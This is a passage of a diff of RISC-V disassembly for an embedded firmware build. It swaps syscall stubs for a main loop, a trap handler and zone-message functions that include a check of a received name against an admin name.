-20402af6:	400c                	lw	a1,0(s0)
-20402af8:	8526                	mv	a0,s1
-20402afa:	95a6                	add	a1,a1,s1
-20402afc:	c62e                	sw	a1,12(sp)
-20402afe:	17b000ef          	jal	ra,20403478 <strlen>
-20402b02:	4010                	lw	a2,0(s0)
-20402b04:	45b2                	lw	a1,12(sp)
-20402b06:	40c50633          	sub	a2,a0,a2
-20402b0a:	4505                	li	a0,1
-20402b0c:	5c7000ef          	jal	ra,204038d2 <write>
-20402b10:	4609                	li	a2,2
-20402b12:	00003597          	auipc	a1,0x3
-20402b16:	f2658593          	addi	a1,a1,-218 # 20405a38 <_exit+0x822>
-20402b1a:	bb81                	j	2040286a <readline+0x172>
-
-20402b1c <_close>:
-20402b1c:	557d                	li	a0,-1
-20402b1e:	8082                	ret
-
-20402b20 <_fstat>:
-20402b20:	6789                	lui	a5,0x2
-20402b22:	c1dc                	sw	a5,4(a1)
-20402b24:	4501                	li	a0,0
-20402b26:	8082                	ret
-
-20402b28 <_sbrk>:
-20402b28:	80818713          	addi	a4,gp,-2040 # 8000d878 <_heap_ptr.0>
-20402b2c:	87aa                	mv	a5,a0
-20402b2e:	4308                	lw	a0,0(a4)
-20402b30:	31018693          	addi	a3,gp,784 # 8000e380 <_end>
-20402b34:	97aa                	add	a5,a5,a0
-20402b36:	00d7e863          	bltu	a5,a3,20402b46 <_sbrk+0x1e>
-20402b3a:	79018693          	addi	a3,gp,1936 # 8000e800 <_heap_end>
-20402b3e:	00f6e463          	bltu	a3,a5,20402b46 <_sbrk+0x1e>
-20402b42:	c31c                	sw	a5,0(a4)
-20402b44:	8082                	ret
-20402b46:	557d                	li	a0,-1
-20402b48:	8082                	ret
-
-20402b4a <_isatty>:
-20402b4a:	00353513          	sltiu	a0,a0,3
-20402b4e:	8082                	ret
+2040189c:	715d                	addi	sp,sp,-80
+2040189e:	c686                	sw	ra,76(sp)
+204018a0:	c4a2                	sw	s0,72(sp)
+204018a2:	c2a6                	sw	s1,68(sp)
+204018a4:	c0ca                	sw	s2,64(sp)
+204018a6:	de4e                	sw	s3,60(sp)
+204018a8:	dc52                	sw	s4,56(sp)
+204018aa:	da56                	sw	s5,52(sp)
+204018ac:	d85a                	sw	s6,48(sp)
+204018ae:	d65e                	sw	s7,44(sp)
+204018b0:	00000797          	auipc	a5,0x0
+204018b4:	19678793          	addi	a5,a5,406 # 20401a46 <trap_handler>
+204018b8:	30579073          	csrw	mtvec,a5
+204018bc:	6785                	lui	a5,0x1
+204018be:	80878793          	addi	a5,a5,-2040 # 808 <__stack_size+0x8>
+204018c2:	3047a7f3          	csrrs	a5,mie,a5
+204018c6:	300467f3          	csrrsi	a5,mstatus,8
+204018ca:	0c0007b7          	lui	a5,0xc000
+204018ce:	4709                	li	a4,2
+204018d0:	c7d8                	sw	a4,12(a5)
+204018d2:	0c002737          	lui	a4,0xc002
+204018d6:	431c                	lw	a5,0(a4)
+204018d8:	4601                	li	a2,0
+204018da:	4581                	li	a1,0
+204018dc:	0087e793          	ori	a5,a5,8
+204018e0:	c31c                	sw	a5,0(a4)
+204018e2:	00002517          	auipc	a0,0x2
+204018e6:	66650513          	addi	a0,a0,1638 # 20403f48 <_exit+0x356>
+204018ea:	67b000ef          	jal	ra,20402764 <open>
+204018ee:	00002517          	auipc	a0,0x2
+204018f2:	66250513          	addi	a0,a0,1634 # 20403f50 <_exit+0x35e>
+204018f6:	4fd000ef          	jal	ra,204025f2 <iprintf>
+204018fa:	00002517          	auipc	a0,0x2
+204018fe:	65e50513          	addi	a0,a0,1630 # 20403f58 <_exit+0x366>
+20401902:	4f1000ef          	jal	ra,204025f2 <iprintf>
+20401906:	00002517          	auipc	a0,0x2
+2040190a:	69a50513          	addi	a0,a0,1690 # 20403fa0 <_exit+0x3ae>
+2040190e:	4e5000ef          	jal	ra,204025f2 <iprintf>
+20401912:	00002517          	auipc	a0,0x2
+20401916:	6d650513          	addi	a0,a0,1750 # 20403fe8 <_exit+0x3f6>
+2040191a:	4d9000ef          	jal	ra,204025f2 <iprintf>
+2040191e:	00002517          	auipc	a0,0x2
+20401922:	63a50513          	addi	a0,a0,1594 # 20403f58 <_exit+0x366>
+20401926:	4cd000ef          	jal	ra,204025f2 <iprintf>
+2040192a:	00002517          	auipc	a0,0x2
+2040192e:	70650513          	addi	a0,a0,1798 # 20404030 <_exit+0x43e>
+20401932:	4c1000ef          	jal	ra,204025f2 <iprintf>
+20401936:	00002517          	auipc	a0,0x2
+2040193a:	74250513          	addi	a0,a0,1858 # 20404078 <_exit+0x486>
+2040193e:	4b5000ef          	jal	ra,204025f2 <iprintf>
+20401942:	00002517          	auipc	a0,0x2
+20401946:	77e50513          	addi	a0,a0,1918 # 204040c0 <_exit+0x4ce>
+2040194a:	4a9000ef          	jal	ra,204025f2 <iprintf>
+2040194e:	00002517          	auipc	a0,0x2
+20401952:	7ba50513          	addi	a0,a0,1978 # 20404108 <_exit+0x516>
+20401956:	49d000ef          	jal	ra,204025f2 <iprintf>
+2040195a:	00002517          	auipc	a0,0x2
+2040195e:	7f650513          	addi	a0,a0,2038 # 20404150 <_exit+0x55e>
+20401962:	491000ef          	jal	ra,204025f2 <iprintf>
+20401966:	00002517          	auipc	a0,0x2
+2040196a:	5f250513          	addi	a0,a0,1522 # 20403f58 <_exit+0x366>
+2040196e:	485000ef          	jal	ra,204025f2 <iprintf>
+20401972:	461d                	li	a2,7
+20401974:	00003597          	auipc	a1,0x3
+20401978:	82458593          	addi	a1,a1,-2012 # 20404198 <_exit+0x5a6>
+2040197c:	4505                	li	a0,1
+2040197e:	61d000ef          	jal	ra,2040279a <write>
+20401982:	85018913          	addi	s2,gp,-1968 # 8000d8b0 <inputline>
+20401986:	00003a17          	auipc	s4,0x3
+2040198a:	88aa0a13          	addi	s4,s4,-1910 # 20404210 <_exit+0x61e>
+2040198e:	00003a97          	auipc	s5,0x3
+20401992:	812a8a93          	addi	s5,s5,-2030 # 204041a0 <_exit+0x5ae>
+20401996:	5fc0c997          	auipc	s3,0x5fc0c
+2040199a:	ece98993          	addi	s3,s3,-306 # 8000d864 <admin_name>
+2040199e:	00003b17          	auipc	s6,0x3
+204019a2:	812b0b13          	addi	s6,s6,-2030 # 204041b0 <_exit+0x5be>
+204019a6:	00003b97          	auipc	s7,0x3
+204019aa:	82ab8b93          	addi	s7,s7,-2006 # 204041d0 <_exit+0x5de>
+204019ae:	85ca                	mv	a1,s2
+204019b0:	4505                	li	a0,1
+204019b2:	2bb9                	jal	20401f10 <receiveZoneMessageAndHandlePrintf2>
+204019b4:	842a                	mv	s0,a0
+204019b6:	cd2d                	beqz	a0,20401a30 <main+0x194>
+204019b8:	414c                	lw	a1,4(a0)
+204019ba:	4651                	li	a2,20
+204019bc:	0028                	addi	a0,sp,8
+204019be:	27b000ef          	jal	ra,20402438 <memcpy>
+204019c2:	8556                	mv	a0,s5
+204019c4:	00010e23          	sb	zero,28(sp)
+204019c8:	42b000ef          	jal	ra,204025f2 <iprintf>
+204019cc:	0009a503          	lw	a0,0(s3)
+204019d0:	4481                	li	s1,0
+204019d2:	507000ef          	jal	ra,204026d8 <strlen>
+204019d6:	00045783          	lhu	a5,0(s0)
+204019da:	862a                	mv	a2,a0
+204019dc:	00f51963          	bne	a0,a5,204019ee <main+0x152>
+204019e0:	0009a583          	lw	a1,0(s3)
+204019e4:	4048                	lw	a0,4(s0)
+204019e6:	505000ef          	jal	ra,204026ea <strncmp>
+204019ea:	00153493          	seqz	s1,a0
+204019ee:	4048                	lw	a0,4(s0)
+204019f0:	241000ef          	jal	ra,20402430 <free>
+204019f4:	4785                	li	a5,1
+204019f6:	00f41023          	sh	a5,0(s0)
+204019fa:	4505                	li	a0,1
+204019fc:	22d000ef          	jal	ra,20402428 <malloc>
+20401a00:	c048                	sw	a0,4(s0)
+20401a02:	855a                	mv	a0,s6
+20401a04:	3ef000ef          	jal	ra,204025f2 <iprintf>
+20401a08:	405c                	lw	a5,4(s0)
+20401a0a:	855e                	mv	a0,s7
+20401a0c:	00978023          	sb	s1,0(a5) # c000000 <__stack_size+0xbfff800>
+20401a10:	405c                	lw	a5,4(s0)
+20401a12:	0007c583          	lbu	a1,0(a5)
+20401a16:	3dd000ef          	jal	ra,204025f2 <iprintf>
+20401a1a:	4605                	li	a2,1
+20401a1c:	4585                	li	a1,1
+20401a1e:	8522                	mv	a0,s0
+20401a20:	251d                	jal	20402046 <sendZoneMessage>
+20401a22:	00002517          	auipc	a0,0x2
+20401a26:	7d650513          	addi	a0,a0,2006 # 204041f8 <_exit+0x606>
+20401a2a:	3c9000ef          	jal	ra,204025f2 <iprintf>
+20401a2e:	b741                	j	204019ae <main+0x112>
+20401a30:	85ca                	mv	a1,s2
+20401a32:	4509                	li	a0,2
+20401a34:	29f1                	jal	20401f10 <receiveZoneMessageAndHandlePrintf2>
+20401a36:	842a                	mv	s0,a0
+20401a38:	d93d                	beqz	a0,204019ae <main+0x112>
+20401a3a:	8552                	mv	a0,s4
+20401a3c:	3b7000ef          	jal	ra,204025f2 <iprintf>
+20401a40:	8522                	mv	a0,s0
+20401a42:	24e5                	jal	20401d2a <freeZoneMessage>
+20401a44:	b7ad                	j	204019ae <main+0x112>
 
-20402b50 <_lseek>:
-20402b50:	4501                	li	a0,0
-20402b52:	8082                	ret
+20401a46 <trap_handler>:
+20401a46:	7159                	addi	sp,sp,-112
+20401a48:	caaa                	sw	a0,84(sp)
+20401a4a:	d686                	sw	ra,108(sp)
+20401a4c:	d496                	sw	t0,104(sp)
+20401a4e:	d29a                	sw	t1,100(sp)
+20401a50:	d09e                	sw	t2,96(sp)
+20401a52:	cea2                	sw	s0,92(sp)
+20401a54:	cca6                	sw	s1,88(sp)
+20401a56:	c8ae                	sw	a1,80(sp)
+20401a58:	c6b2                	sw	a2,76(sp)
+20401a5a:	c4b6                	sw	a3,72(sp)
+20401a5c:	c2ba                	sw	a4,68(sp)
+20401a5e:	c0be                	sw	a5,64(sp)
+20401a60:	de42                	sw	a6,60(sp)
+20401a62:	dc46                	sw	a7,56(sp)
+20401a64:	da4a                	sw	s2,52(sp)
+20401a66:	d872                	sw	t3,48(sp)
+20401a68:	d676                	sw	t4,44(sp)
+20401a6a:	d47a                	sw	t5,40(sp)
+20401a6c:	d27e                	sw	t6,36(sp)
+20401a6e:	4515                	li	a0,5
+20401a70:	85aa                	mv	a1,a0
+20401a72:	4521                	li	a0,8
+20401a74:	00300073          	0x300073
+20401a78:	84aa                	mv	s1,a0
+20401a7a:	4511                	li	a0,4
+20401a7c:	85aa                	mv	a1,a0
+20401a7e:	4521                	li	a0,8
+20401a80:	00300073          	0x300073
+20401a84:	842a                	mv	s0,a0
+20401a86:	4519                	li	a0,6
+20401a88:	85aa                	mv	a1,a0
+20401a8a:	4521                	li	a0,8
+20401a8c:	00300073          	0x300073
+20401a90:	47ad                	li	a5,11
+20401a92:	86aa                	mv	a3,a0
+20401a94:	0097ec63          	bltu	a5,s1,20401aac <trap_handler+0x66>
+20401a98:	00002617          	auipc	a2,0x2
+20401a9c:	48060613          	addi	a2,a2,1152 # 20403f18 <_exit+0x326>
+20401aa0:	00249713          	slli	a4,s1,0x2
+20401aa4:	9732                	add	a4,a4,a2
+20401aa6:	431c                	lw	a5,0(a4)
+20401aa8:	97b2                	add	a5,a5,a2
+20401aaa:	8782                	jr	a5
+20401aac:	800007b7          	lui	a5,0x80000
+20401ab0:	00778713          	addi	a4,a5,7 # 80000007 <_heap_end+0xffff1807>
+20401ab4:	1ae48263          	beq	s1,a4,20401c58 <trap_handler+0x212>
+20401ab8:	00b78713          	addi	a4,a5,11
+20401abc:	20e48563          	beq	s1,a4,20401cc6 <trap_handler+0x280>
+20401ac0:	078d                	addi	a5,a5,3
+20401ac2:	12f48563          	beq	s1,a5,20401bec <trap_handler+0x1a6>
+20401ac6:	8622                	mv	a2,s0
+20401ac8:	85a6                	mv	a1,s1
+20401aca:	00002517          	auipc	a0,0x2
+20401ace:	40e50513          	addi	a0,a0,1038 # 20403ed8 <_exit+0x2e6>
+20401ad2:	a039                	j	20401ae0 <trap_handler+0x9a>
+20401ad4:	8622                	mv	a2,s0
+20401ad6:	4581                	li	a1,0
+20401ad8:	00002517          	auipc	a0,0x2
+20401adc:	12050513          	addi	a0,a0,288 # 20403bf8 <_exit+0x6>
+20401ae0:	313000ef          	jal	ra,204025f2 <iprintf>
+20401ae4:	00002517          	auipc	a0,0x2
+20401ae8:	41850513          	addi	a0,a0,1048 # 20403efc <_exit+0x30a>
+20401aec:	307000ef          	jal	ra,204025f2 <iprintf>
+20401af0:	00010c23          	sb	zero,24(sp)
+20401af4:	4605                	li	a2,1
+20401af6:	082c                	addi	a1,sp,24
+20401af8:	4501                	li	a0,0
+20401afa:	493000ef          	jal	ra,2040278c <read>
+20401afe:	d97d                	beqz	a0,20401af4 <trap_handler+0xae>
+20401b00:	d01ff06f          	j	20401800 <_start>
+20401b04:	a0b1                	j	20401b50 <trap_handler+0x10a>
+20401b06:	8622                	mv	a2,s0
+20401b08:	4585                	li	a1,1
+20401b0a:	00002517          	auipc	a0,0x2
+20401b0e:	12a50513          	addi	a0,a0,298 # 20403c34 <_exit+0x42>
+20401b12:	b7f9                	j	20401ae0 <trap_handler+0x9a>
+20401b14:	8622                	mv	a2,s0
+20401b16:	4589                	li	a1,2
+20401b18:	00002517          	auipc	a0,0x2
+20401b1c:	15050513          	addi	a0,a0,336 # 20403c68 <_exit+0x76>
+20401b20:	b7c1                	j	20401ae0 <trap_handler+0x9a>
+20401b22:	8622                	mv	a2,s0
+20401b24:	458d                	li	a1,3
+20401b26:	00002517          	auipc	a0,0x2
+20401b2a:	17250513          	addi	a0,a0,370 # 20403c98 <_exit+0xa6>
+20401b2e:	bf4d                	j	20401ae0 <trap_handler+0x9a>
+20401b30:	8622                	mv	a2,s0
+20401b32:	4591                	li	a1,4
+20401b34:	00002517          	auipc	a0,0x2
+20401b38:	18850513          	addi	a0,a0,392 # 20403cbc <_exit+0xca>
+20401b3c:	2b7000ef          	jal	ra,204025f2 <iprintf>
+20401b40:	00044783          	lbu	a5,0(s0)
+20401b44:	8b85                	andi	a5,a5,1
+20401b46:	e391                	bnez	a5,20401b4a <trap_handler+0x104>
+20401b48:	4489                	li	s1,2
+20401b4a:	9426                	add	s0,s0,s1
+20401b4c:	34141073          	csrw	mepc,s0
+20401b50:	4476                	lw	s0,92(sp)
+20401b52:	50b6                	lw	ra,108(sp)
+20401b54:	52a6                	lw	t0,104(sp)
+20401b56:	5316                	lw	t1,100(sp)
+20401b58:	5386                	lw	t2,96(sp)
+20401b5a:	44e6                	lw	s1,88(sp)
+20401b5c:	4556                	lw	a0,84(sp)
+20401b5e:	45c6                	lw	a1,80(sp)
+20401b60:	4636                	lw	a2,76(sp)
+20401b62:	46a6                	lw	a3,72(sp)
+20401b64:	4716                	lw	a4,68(sp)
+20401b66:	4786                	lw	a5,64(sp)
+20401b68:	5872                	lw	a6,60(sp)
+20401b6a:	58e2                	lw	a7,56(sp)
+20401b6c:	5952                	lw	s2,52(sp)
+20401b6e:	5e42                	lw	t3,48(sp)
+20401b70:	5eb2                	lw	t4,44(sp)
+20401b72:	5f22                	lw	t5,40(sp)
+20401b74:	5f92                	lw	t6,36(sp)
+20401b76:	6165                	addi	sp,sp,112
+20401b78:	30200073          	mret
+20401b7c:	8622                	mv	a2,s0
+20401b7e:	4595                	li	a1,5
+20401b80:	00002517          	auipc	a0,0x2
+20401b84:	17050513          	addi	a0,a0,368 # 20403cf0 <_exit+0xfe>
+20401b88:	26b000ef          	jal	ra,204025f2 <iprintf>
+20401b8c:	0411                	addi	s0,s0,4
+20401b8e:	bf7d                	j	20401b4c <trap_handler+0x106>
+20401b90:	8622                	mv	a2,s0
+20401b92:	4599                	li	a1,6
+20401b94:	00002517          	auipc	a0,0x2
+20401b98:	18850513          	addi	a0,a0,392 # 20403d1c <_exit+0x12a>
+20401b9c:	257000ef          	jal	ra,204025f2 <iprintf>
+20401ba0:	00044783          	lbu	a5,0(s0)
+20401ba4:	4511                	li	a0,4
+20401ba6:	8b85                	andi	a5,a5,1
+20401ba8:	e391                	bnez	a5,20401bac <trap_handler+0x166>
+20401baa:	4509                	li	a0,2
+20401bac:	9522                	add	a0,a0,s0
+20401bae:	34151073          	csrw	mepc,a0
+20401bb2:	bf79                	j	20401b50 <trap_handler+0x10a>
+20401bb4:	8622                	mv	a2,s0
+20401bb6:	459d                	li	a1,7
+20401bb8:	00002517          	auipc	a0,0x2
+20401bbc:	19c50513          	addi	a0,a0,412 # 20403d54 <_exit+0x162>
+20401bc0:	bff1                	j	20401b9c <trap_handler+0x156>
+20401bc2:	8622                	mv	a2,s0
+20401bc4:	45a1                	li	a1,8
+20401bc6:	00002517          	auipc	a0,0x2
+20401bca:	1ba50513          	addi	a0,a0,442 # 20403d80 <_exit+0x18e>
+20401bce:	bf09                	j	20401ae0 <trap_handler+0x9a>
+20401bd0:	8622                	mv	a2,s0
+20401bd2:	45a5                	li	a1,9
+20401bd4:	00002517          	auipc	a0,0x2
+20401bd8:	1e450513          	addi	a0,a0,484 # 20403db8 <_exit+0x1c6>
+20401bdc:	b711                	j	20401ae0 <trap_handler+0x9a>
+20401bde:	8622                	mv	a2,s0
+20401be0:	45ad                	li	a1,11
+20401be2:	00002517          	auipc	a0,0x2
+20401be6:	20e50513          	addi	a0,a0,526 # 20403df0 <_exit+0x1fe>
+20401bea:	bddd                	j	20401ae0 <trap_handler+0x9a>
+20401bec:	c62a                	sw	a0,12(sp)
+20401bee:	4619                	li	a2,6
+20401bf0:	00002597          	auipc	a1,0x2
+20401bf4:	23858593          	addi	a1,a1,568 # 20403e28 <_exit+0x236>
+20401bf8:	4505                	li	a0,1
+20401bfa:	3a1000ef          	jal	ra,2040279a <write>
+20401bfe:	46b2                	lw	a3,12(sp)
+20401c00:	8622                	mv	a2,s0
+20401c02:	85a6                	mv	a1,s1
+20401c04:	00002517          	auipc	a0,0x2
+20401c08:	22c50513          	addi	a0,a0,556 # 20403e30 <_exit+0x23e>
+20401c0c:	1e7000ef          	jal	ra,204025f2 <iprintf>
+20401c10:	10040437          	lui	s0,0x10040
+20401c14:	442c                	lw	a1,72(s0)
+20401c16:	00002517          	auipc	a0,0x2
+20401c1a:	23650513          	addi	a0,a0,566 # 20403e4c <_exit+0x25a>
+20401c1e:	1d5000ef          	jal	ra,204025f2 <iprintf>
+20401c22:	446c                	lw	a1,76(s0)
+20401c24:	00002517          	auipc	a0,0x2
+20401c28:	23c50513          	addi	a0,a0,572 # 20403e60 <_exit+0x26e>
+20401c2c:	1c7000ef          	jal	ra,204025f2 <iprintf>
+20401c30:	482c                	lw	a1,80(s0)
+20401c32:	00002517          	auipc	a0,0x2
+20401c36:	24250513          	addi	a0,a0,578 # 20403e74 <_exit+0x282>
+20401c3a:	1b9000ef          	jal	ra,204025f2 <iprintf>
+20401c3e:	4619                	li	a2,6
+20401c40:	00002597          	auipc	a1,0x2
+20401c44:	24858593          	addi	a1,a1,584 # 20403e88 <_exit+0x296>
+20401c48:	4505                	li	a0,1
+20401c4a:	351000ef          	jal	ra,2040279a <write>
+20401c4e:	67c1                	lui	a5,0x10
+20401c50:	10178793          	addi	a5,a5,257 # 10101 <__stack_size+0xf901>
+20401c54:	d81c                	sw	a5,48(s0)
+20401c56:	bded                	j	20401b50 <trap_handler+0x10a>
+20401c58:	c62a                	sw	a0,12(sp)
+20401c5a:	4619                	li	a2,6
+20401c5c:	00002597          	auipc	a1,0x2
+20401c60:	1cc58593          	addi	a1,a1,460 # 20403e28 <_exit+0x236>
+20401c64:	4505                	li	a0,1
+20401c66:	335000ef          	jal	ra,2040279a <write>
+20401c6a:	46b2                	lw	a3,12(sp)
+20401c6c:	8622                	mv	a2,s0
+20401c6e:	85a6                	mv	a1,s1
+20401c70:	00002517          	auipc	a0,0x2
+20401c74:	22050513          	addi	a0,a0,544 # 20403e90 <_exit+0x29e>
+20401c78:	17b000ef          	jal	ra,204025f2 <iprintf>
+20401c7c:	4619                	li	a2,6
+20401c7e:	00002597          	auipc	a1,0x2
+20401c82:	24658593          	addi	a1,a1,582 # 20403ec4 <_exit+0x2d2>
+20401c86:	4505                	li	a0,1
+20401c88:	313000ef          	jal	ra,2040279a <write>
+20401c8c:	85018513          	addi	a0,gp,-1968 # 8000d8b0 <inputline>
+20401c90:	249000ef          	jal	ra,204026d8 <strlen>
+20401c94:	862a                	mv	a2,a0
+20401c96:	85018593          	addi	a1,gp,-1968 # 8000d8b0 <inputline>
+20401c9a:	4505                	li	a0,1
+20401c9c:	2ff000ef          	jal	ra,2040279a <write>
+20401ca0:	4619                	li	a2,6
+20401ca2:	00002597          	auipc	a1,0x2
+20401ca6:	22e58593          	addi	a1,a1,558 # 20403ed0 <_exit+0x2de>
+20401caa:	4505                	li	a0,1
+20401cac:	2ef000ef          	jal	ra,2040279a <write>
+20401cb0:	57fd                	li	a5,-1
+20401cb2:	85be                	mv	a1,a5
+20401cb4:	863e                	mv	a2,a5
+20401cb6:	4519                	li	a0,6
+20401cb8:	00300073          	0x300073
+20401cbc:	08000793          	li	a5,128
+20401cc0:	3047b7f3          	csrrc	a5,mie,a5
+20401cc4:	b571                	j	20401b50 <trap_handler+0x10a>
+20401cc6:	0c2007b7          	lui	a5,0xc200
+20401cca:	4621                	li	a2,8
+20401ccc:	082c                	addi	a1,sp,24
+20401cce:	4501                	li	a0,0
+20401cd0:	0047a903          	lw	s2,4(a5) # c200004 <__stack_size+0xc1ff804>
+20401cd4:	2b9000ef          	jal	ra,2040278c <read>
+20401cd8:	842a                	mv	s0,a0
+20401cda:	02a05763          	blez	a0,20401d08 <trap_handler+0x2c2>
+20401cde:	82818493          	addi	s1,gp,-2008 # 8000d888 <buffer>
+20401ce2:	50dc                	lw	a5,36(s1)
+20401ce4:	02000713          	li	a4,32
+20401ce8:	40f707b3          	sub	a5,a4,a5
+20401cec:	00f54563          	blt	a0,a5,20401cf6 <trap_handler+0x2b0>
+20401cf0:	50c0                	lw	s0,36(s1)
+20401cf2:	40870433          	sub	s0,a4,s0
+20401cf6:	50c8                	lw	a0,36(s1)
+20401cf8:	8622                	mv	a2,s0
+20401cfa:	082c                	addi	a1,sp,24
+20401cfc:	9526                	add	a0,a0,s1
+20401cfe:	73a000ef          	jal	ra,20402438 <memcpy>
+20401d02:	50c8                	lw	a0,36(s1)
+20401d04:	9522                	add	a0,a0,s0
+20401d06:	d0c8                	sw	a0,36(s1)
+20401d08:	0c2007b7          	lui	a5,0xc200
+20401d0c:	0127a223          	sw	s2,4(a5) # c200004 <__stack_size+0xc1ff804>
+20401d10:	b581                	j	20401b50 <trap_handler+0x10a>
 
-20402b54 <_open>:
-20402b54:	1141                	addi	sp,sp,-16
-20402b56:	00003597          	auipc	a1,0x3
-20402b5a:	efe58593          	addi	a1,a1,-258 # 20405a54 <_exit+0x83e>
-20402b5e:	c606                	sw	ra,12(sp)
-20402b60:	0ef000ef          	jal	ra,2040344e <strcmp>
-20402b64:	ed11                	bnez	a0,20402b80 <_open+0x2c>
-20402b66:	100137b7          	lui	a5,0x10013
-20402b6a:	23300713          	li	a4,563
-20402b6e:	cf98                	sw	a4,24(a5)
-20402b70:	4705                	li	a4,1
-20402b72:	c798                	sw	a4,8(a5)
-20402b74:	c7d8                	sw	a4,12(a5)
-20402b76:	4709                	li	a4,2
-20402b78:	cb98                	sw	a4,16(a5)
-20402b7a:	40b2                	lw	ra,12(sp)
-20402b7c:	0141                	addi	sp,sp,16
-20402b7e:	8082                	ret
-20402b80:	557d                	li	a0,-1
-20402b82:	bfe5                	j	20402b7a <_open+0x26>
+20401d12 <initZoneMessage>:
+20401d12:	1141                	addi	sp,sp,-16
+20401d14:	4521                	li	a0,8
+20401d16:	c606                	sw	ra,12(sp)
+20401d18:	710000ef          	jal	ra,20402428 <malloc>
+20401d1c:	40b2                	lw	ra,12(sp)
+20401d1e:	00051023          	sh	zero,0(a0)
+20401d22:	00052223          	sw	zero,4(a0)
+20401d26:	0141                	addi	sp,sp,16
+20401d28:	8082                	ret
 
-20402b84 <_read>:
-20402b84:	1141                	addi	sp,sp,-16
-20402b86:	c422                	sw	s0,8(sp)
-20402b88:	c226                	sw	s1,4(sp)
-20402b8a:	c606                	sw	ra,12(sp)
-20402b8c:	842e                	mv	s0,a1
-20402b8e:	84b2                	mv	s1,a2
-20402b90:	509000ef          	jal	ra,20403898 <isatty>
-20402b94:	c505                	beqz	a0,20402bbc <_read+0x38>
-20402b96:	4501                	li	a0,0
-20402b98:	10013737          	lui	a4,0x10013
-20402b9c:	00950563          	beq	a0,s1,20402ba6 <_read+0x22>
-20402ba0:	435c                	lw	a5,4(a4)
-20402ba2:	00f04763          	bgtz	a5,20402bb0 <_read+0x2c>
-20402ba6:	40b2                	lw	ra,12(sp)
-20402ba8:	4422                	lw	s0,8(sp)
-20402baa:	4492                	lw	s1,4(sp)
-20402bac:	0141                	addi	sp,sp,16
-20402bae:	8082                	ret
-20402bb0:	00a406b3          	add	a3,s0,a0
-20402bb4:	00f68023          	sb	a5,0(a3)
-20402bb8:	0505                	addi	a0,a0,1
-20402bba:	b7cd                	j	20402b9c <_read+0x18>
-20402bbc:	557d                	li	a0,-1
-20402bbe:	b7e5                	j	20402ba6 <_read+0x22>
+20401d2a <freeZoneMessage>:
+20401d2a:	1141                	addi	sp,sp,-16
+20401d2c:	c422                	sw	s0,8(sp)
+20401d2e:	842a                	mv	s0,a0
+20401d30:	4148                	lw	a0,4(a0)
+20401d32:	c606                	sw	ra,12(sp)
+20401d34:	6fc000ef          	jal	ra,20402430 <free>
+20401d38:	8522                	mv	a0,s0
+20401d3a:	4422                	lw	s0,8(sp)
+20401d3c:	40b2                	lw	ra,12(sp)
+20401d3e:	0141                	addi	sp,sp,16
+20401d40:	6f00006f          	j	20402430 <free>
 
-20402bc0 <_write>:
-20402bc0:	1141                	addi	sp,sp,-16
-20402bc2:	c422                	sw	s0,8(sp)
-20402bc4:	c226                	sw	s1,4(sp)
-20402bc6:	c606                	sw	ra,12(sp)
-20402bc8:	842e                	mv	s0,a1
-20402bca:	84b2                	mv	s1,a2
-20402bcc:	4cd000ef          	jal	ra,20403898 <isatty>
-20402bd0:	c121                	beqz	a0,20402c10 <_write+0x50>
-20402bd2:	85a2                	mv	a1,s0
-20402bd4:	00940733          	add	a4,s0,s1
-20402bd8:	100137b7          	lui	a5,0x10013
-20402bdc:	46a9                	li	a3,10
-20402bde:	4635                	li	a2,13
-20402be0:	00e59863          	bne	a1,a4,20402bf0 <_write+0x30>
-20402be4:	40b2                	lw	ra,12(sp)
-20402be6:	4422                	lw	s0,8(sp)
-20402be8:	8526                	mv	a0,s1
-20402bea:	4492                	lw	s1,4(sp)
-20402bec:	0141                	addi	sp,sp,16
-20402bee:	8082                	ret
-20402bf0:	4388                	lw	a0,0(a5)
-20402bf2:	fe054fe3          	bltz	a0,20402bf0 <_write+0x30>
-20402bf6:	0005c503          	lbu	a0,0(a1)
-20402bfa:	c388                	sw	a0,0(a5)
-20402bfc:	0005c503          	lbu	a0,0(a1)
-20402c00:	00d51663          	bne	a0,a3,20402c0c <_write+0x4c>
-20402c04:	4388                	lw	a0,0(a5)
-20402c06:	fe054fe3          	bltz	a0,20402c04 <_write+0x44>
-20402c0a:	c390                	sw	a2,0(a5)
-20402c0c:	0585                	addi	a1,a1,1
-20402c0e:	bfc9                	j	20402be0 <_write+0x20>
-20402c10:	54fd                	li	s1,-1
-20402c12:	bfc9                	j	20402be4 <_write+0x24>
+20401d44 <setZoneMessage>:
+20401d44:	1141                	addi	sp,sp,-16
+20401d46:	c226                	sw	s1,4(sp)
+20401d48:	c04a                	sw	s2,0(sp)
+20401d4a:	c606                	sw	ra,12(sp)
+20401d4c:	c422                	sw	s0,8(sp)
+20401d4e:	892e                	mv	s2,a1
+20401d50:	84b2                	mv	s1,a2
+20401d52:	e291                	bnez	a3,20401d56 <setZoneMessage+0x12>
+20401d54:	3f7d                	jal	20401d12 <initZoneMessage>
+20401d56:	842a                	mv	s0,a0
+20401d58:	8526                	mv	a0,s1
+20401d5a:	6ce000ef          	jal	ra,20402428 <malloc>
+20401d5e:	8626                	mv	a2,s1
+20401d60:	c048                	sw	a0,4(s0)
+20401d62:	4581                	li	a1,0
+20401d64:	710000ef          	jal	ra,20402474 <memset>
+20401d68:	4048                	lw	a0,4(s0)
+20401d6a:	00941023          	sh	s1,0(s0) # 10040000 <__stack_size+0x1003f800>
+20401d6e:	8626                	mv	a2,s1
+20401d70:	85ca                	mv	a1,s2
+20401d72:	6c6000ef          	jal	ra,20402438 <memcpy>
+20401d76:	40b2                	lw	ra,12(sp)
+20401d78:	8522                	mv	a0,s0
+20401d7a:	4422                	lw	s0,8(sp)
+20401d7c:	4492                	lw	s1,4(sp)
+20401d7e:	4902                	lw	s2,0(sp)
+20401d80:	0141                	addi	sp,sp,16
+20401d82:	8082                	ret
 
-20402c14 <__lshrdi3>:
-20402c14:	ce01                	beqz	a2,20402c2c <__lshrdi3+0x18>
-20402c16:	02000793          	li	a5,32
-20402c1a:	8f91                	sub	a5,a5,a2
-20402c1c:	00f04963          	bgtz	a5,20402c2e <__lshrdi3+0x1a>
-20402c20:	fe060513          	addi	a0,a2,-32
-20402c24:	4701                	li	a4,0
-20402c26:	00a5d533          	srl	a0,a1,a0
-20402c2a:	85ba                	mv	a1,a4
-20402c2c:	8082                	ret
-20402c2e:	00c5d733          	srl	a4,a1,a2
-20402c32:	00c55533          	srl	a0,a0,a2
-20402c36:	00f595b3          	sll	a1,a1,a5
-20402c3a:	8d4d                	or	a0,a0,a1
-20402c3c:	b7fd                	j	20402c2a <__lshrdi3+0x16>
+20401d84 <serializeZoneMessage>:
